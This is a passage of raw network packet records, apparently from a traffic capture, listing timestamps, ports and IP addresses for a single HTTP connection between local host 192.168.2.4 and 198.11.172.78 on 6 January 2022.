Jan 6, 2022 21:04:19.386307955 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.386348963 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.386388063 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.386404037 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.386425018 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.386440039 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.386462927 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.386504889 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.386509895 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.386523008 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.386540890 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.386554956 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.386579990 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.386595011 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.386631966 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.547684908 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.547733068 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.547772884 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.547782898 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.547813892 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.547815084 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.547821999 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.548903942 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.553443909 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.553493977 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.553601980 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.559844971 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.559916019 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.559954882 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.559998035 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.560050011 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.560110092 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.560165882 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.560180902 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.560189009 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.560194969 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.560199022 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.560224056 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.560259104 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.560273886 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.560282946 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.560343027 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.560400009 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.560404062 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.560452938 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.560461044 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.560523987 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.560530901 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.560580015 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.560583115 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.560638905 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.560674906 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.560678005 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.560694933 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.560717106 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.560720921 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.560756922 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.560798883 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.560811996 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.560837984 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.560851097 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.560892105 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.560923100 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.560966969 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.560981035 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.561011076 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.561022043 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.561070919 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.561078072 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.561126947 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.561136007 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.561184883 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.561192036 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.561239004 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.561244965 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.561294079 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.561295033 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.561332941 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.561341047 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.561372995 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.561378956 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.561412096 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.561419010 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.561448097 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.561456919 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.561486959 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.561494112 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.561530113 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.561532974 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.561574936 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.561592102 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.561615944 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.561623096 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.561656952 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.561664104 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.561695099 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.561702013 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.561733007 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.561741114 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.561770916 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.561777115 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.561809063 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.561817884 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.561846972 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.561862946 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.561887980 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.561902046 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.561927080 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.561935902 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.561964989 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.561973095 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.562004089 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.562011957 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.562043905 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.562052011 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.562079906 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.562093973 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.562119007 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.562131882 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.562156916 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.562165022 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.562196970 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.562201977 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.562237024 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.562242031 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.562273979 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.562288046 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.562314034 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.562321901 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.562351942 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.562361956 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.562388897 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.562401056 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.562428951 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.562433004 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.562467098 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.562475920 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.562505007 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.562516928 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.562546968 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.562555075 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.562583923 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.562596083 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.562624931 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.562632084 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.562664032 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.562674046 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.562701941 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.562716007 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.562741041 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.562755108 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.562778950 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.562788010 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.562819004 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.562824011 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.562859058 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.562866926 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.562896013 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.562911987 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.562936068 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.562949896 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.562974930 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.562984943 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.563013077 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.563025951 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.563055038 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.563060045 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.563101053 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.563101053 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.563139915 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.563154936 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.563186884 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.717916965 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.717967987 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.718010902 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.718034983 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.718051910 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.718091011 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.718131065 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.718147039 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.718177080 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.718208075 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.718254089 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.718949080 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.718988895 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.719033003 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.719049931 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.723733902 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.723783016 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.723813057 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.723834038 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.723870039 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.723910093 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.723959923 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.733259916 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.733335972 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.734613895 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.734658003 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.734675884 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.734714985 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.734739065 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.734777927 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.734818935 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.734826088 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.734873056 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.734914064 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.734930038 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.734966993 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.734988928 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.735048056 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.735079050 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.735119104 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.735136032 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.735169888 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.735225916 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.735264063 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.735285997 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.735308886 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.735328913 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.735367060 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.735408068 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.735414982 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.735462904 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.735502005 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.735565901 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.735589981 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.735630989 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.735649109 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.735682011 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.735707045 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.735745907 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.735781908 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.735789061 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.735833883 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.735872030 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.735888004 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.735918045 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.735950947 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.735995054 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.736033916 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.736078978 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.736089945 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.736121893 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.736181974 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.736222982 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.736243010 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.736265898 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.736295938 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.736335039 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.736377954 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.736386061 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.736419916 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.736465931 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.736479044 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.736514091 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.736543894 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.736601114 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.736646891 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.736690998 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.736732960 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.736792088 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.736816883 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.736887932 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.736929893 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.736938000 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.736991882 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.737030029 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.737046003 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.737075090 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.737134933 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.737176895 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.737193108 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.737237930 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.737247944 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.737297058 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.737334967 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.737373114 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.737390995 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.737432957 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.737467051 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.737504005 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.737543106 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.737555981 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.737593889 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.737632990 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.737649918 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.737678051 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.737708092 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.737751961 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.737793922 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.737832069 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.737847090 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.737878084 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.737901926 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.737941027 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.737987995 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.738028049 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.738086939 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.738116026 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.738154888 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.738172054 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.738202095 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.738228083 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.738276005 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.738313913 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.738353014 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.738399982 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.738409996 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.738461018 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.738497972 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.738538027 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.738557100 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.738584995 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.738612890 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.738663912 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.738702059 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.738739967 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.738756895 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.738784075 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.738842964 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.738888979 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.738898993 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.738931894 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.738956928 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.739012003 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.739046097 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.739088058 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.739104033 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.739131927 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.739192963 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.739232063 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.739250898 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.739270926 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.739304066 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.739360094 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.739381075 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.739407063 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.739428997 CET	49824	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:19.739449978 CET	80	49824	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:19.739456892 CET	49824	80	192.168.2.4	198.11.172.78
